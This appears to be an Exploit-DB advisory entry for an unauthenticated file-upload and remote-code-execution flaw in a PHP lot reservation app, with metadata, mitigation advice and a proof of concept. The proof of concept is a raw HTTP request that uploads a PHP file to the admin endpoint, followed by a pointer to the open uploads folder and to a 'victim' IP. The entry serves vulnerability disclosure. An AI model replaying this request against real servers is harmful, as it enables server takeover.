Lot Reservation Management System Unauthenticated File Upload and Remote Code Execution

vendor:

Lot Reservation Management System

by:

Elijah Mandila Syoyi

8.1

CVSS

CRITICAL

Unauthenticated File Upload and Remote Code Execution

434

CWE

Product Name: Lot Reservation Management System

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE: a:lot_reservation_management_system:1.0

Metasploit:

Other Scripts:

Platforms Tested: Microsoft Windows 11 Enterprise, XAMPP 3.3.0

2023

Lot Reservation Management System Unauthenticated File Upload and Remote Code Execution

The Lot Reservation Management System allows unauthenticated users to upload files, which can lead to remote code execution. By exploiting this vulnerability, an attacker can upload malicious files containing code that can be executed on the server, potentially leading to unauthorized access, data theft, or further compromise of the system.

Mitigation:

To mitigate this vulnerability, it is recommended to implement proper authentication mechanisms for file uploads, validate file types and extensions, and restrict file upload permissions to authenticated users only. Regular security audits and code reviews should also be conducted to identify and address any vulnerabilities in the system.

Source

Exploit-DB raw data:

# Exploit Title: Lot Reservation Management System Unauthenticated File Upload and Remote Code Execution
# Google Dork: N/A
# Date: 10th December 2023
# Exploit Author: Elijah Mandila Syoyi
# Vendor Homepage: https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lot-reservation-management-system.zip
# Version: 1.0
# Tested on: Microsoft Windows 11 Enterprise and XAMPP 3.3.0
# CVE : N/A

Developer description about application purpose:-

------------------------------------------------------------------------------------------------------------------------------------------------------------------
About

The Lot Reservation Management System is a simple PHP/MySQLi project that will help a certain subdivision, condo, or any business that selling a land property or house and lot. The system will help the said industry or company to provide their possible client information about the property they are selling and at the same time, possible clients can reserve their desired property. The lot reservation system website for the clients has user-friendly functions and the contents that are displayed can be managed dynamically by the management. This system allows management to upload the area map, and by this feature, the system admin or staff will populate the list of lots, house models, or the property that they are selling to allow the possible client to choose the area they want. The map will be divided into each division of the property of building like Phase 1-5 of a certain Subdivision, each of these phases will be encoded individually in the system along with the map image showing the division of each property or lots.

------------------------------------------------------------------------------------------------------------------------------------------------------------------


Vulnerability:-

The application does not properly verify authentication information and file types before files upload. This can allow an attacker to bypass authentication and file checking and upload malicious file to the server. There is an open directory listing where uploaded files are stored, allowing an attacker to open the malicious file in PHP, and will be executed by the server.



Proof of Concept:-

(HTTP POST Request)

POST /lot/admin/ajax.php?action=save_division HTTP/1.1
Host: 192.168.150.228
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------217984066236596965684247013027
Content-Length: 606
Origin: http://192.168.150.228
Connection: close
Referer: http://192.168.150.228/lot/admin/index.php?page=divisions


-----------------------------217984066236596965684247013027
Content-Disposition: form-data; name="id"


-----------------------------217984066236596965684247013027
Content-Disposition: form-data; name="name"

sample
-----------------------------217984066236596965684247013027
Content-Disposition: form-data; name="description"

sample
-----------------------------217984066236596965684247013027
Content-Disposition: form-data; name="img"; filename="phpinfo.php"
Content-Type: application/x-php

<?php phpinfo() ?>

-----------------------------217984066236596965684247013027--



Check your uploaded file/shell in "http://192.168.150.228/lot/admin/assets/uploads/maps/". Replace the IP Addresses with the victim IP address.